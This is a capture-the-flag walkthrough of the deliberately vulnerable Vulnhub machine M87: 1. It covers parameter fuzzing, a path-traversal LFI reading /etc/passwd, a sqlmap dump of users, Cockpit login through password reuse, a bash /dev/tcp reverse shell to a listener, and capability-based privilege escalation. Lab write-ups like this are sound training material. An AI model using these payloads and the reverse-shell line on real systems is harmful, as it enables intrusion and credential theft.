Vulnhub - M87: 1
Introduction
m87 is a simple machine, created specifically to be exploited. Don’t get discouraged and always Try Harder!
This is M87: 1 from Vulnhub.
Ports
We’ve got 3 ports - SSH on 22, HTTP on 80 and something on port 9090, but SSH is filtered so it doesn’t count.
What’s 9090? It’s cockpit, a browser based server interface.
Cockpit
I visit the site (https://192.168.1.141:9090) and we have a login page wanting linux user credentials. We don’t have any. We’ll return to this later.
HTTP
The front page of the website is a login form (HTML), it wants an email address and a password. We don’t have either of those things.
I ran some gobuster scans; we can find /admin, which has another HTML login form, and /admin/backup/index.php, which has another login form.
I try some password attacks on the admin page with the username admin, but no dice. I try searching for hidden files on the webserver with extensive gobuster scans and lots of file extensions; nothing. Now what?
The login on /admin/backup/index.php comes in the form of
/admin/backup/index.php?username=something&password=somethingelse
This is the main thing I took from this box - fuzz this form for other fields.
Fuzzing
There are many ways to do this but I used Burp Suite Turbo Intruder and the /usr/share/seclists/Discovery/Web-Content/common.txt file to find two ‘extra’ parameters of interest - id and file. In this case my url is:
/admin/backup/index.php?%s
The parameter file gives an LFI. I read /etc/passwd and learn our user is called charlotte, e.g.
http://192.168.1.141/admin/backup/index.php?file=../../../../../../../../../../../../etc/passwd
I try various things to leverage this into RCE but can’t find a way, with no access to /proc/self/environ or Apache logs etc. I also can’t find an SSH key, I can’t read Charlotte’s bash history etc. What other options do we have? Let’s try id:
The id parameter (initially) only gives me one error message:
Connect failed: No such file or directory
I google this and it could be a MySQL error, or something else. It’s sufficiently vague to not be definitive. I can’t get it to do anything else.
Stumped
At this point (well, after trying and failing for some time) I check a hint. In fact the id parameter is supposed to prompt a different error. I reboot the VM; no change. I recreate the VM from the OVA file - success! Now the id parameter prompts an error message about SQL syntax. So we do have a database connection here. Note that I had previously tried SQLMap on the username and password fields to no success.
Anyway, id may be SQL injectable. I use sqlmap in Burp Suite:
-u 'http://192.168.1.141:80/admin/backup/index.php?id=../../../../../../../../../../etc/passwd' -p 'id' --dump
And I get a bunch of users:
Cockpit
Since SSH is filtered, we need a way to login. This is where cockpit comes in.
None of our users are called charlotte, but I guessed there might be some password reuse. Sure enough, the password for admin (above) is the password for charlotte. So it’s back to cockpit to log in. I hadn’t seen this before but it’s a nice enough GUI interface - and you can access a terminal, which is what I do. I then use that to send myself a shell to a netcat listener:
bash -i >& /dev/tcp/192.168.1.77/1234 0>&1
Privesc
There’s some trickery going on, because linpeas recognises two SUID binaries it thinks are slam dunks - watch and rsync. Although the techniques in GTFOBins work, they only give back shells as charlotte. So that doesn’t help.
Linpeas also identifies a binary with the cap_setuid+ep capability - it’s called /usr/bin/old. What is it? As it turns out, it’s python (2). And the technique at GTFOBins does work for that.
Wrapup
This box was a touch flaky - I had to reboot it a few times - and I had that issue with id not prompting the right error. But I did learn a lesson about fuzzing for parameters and saw cockpit for the first time.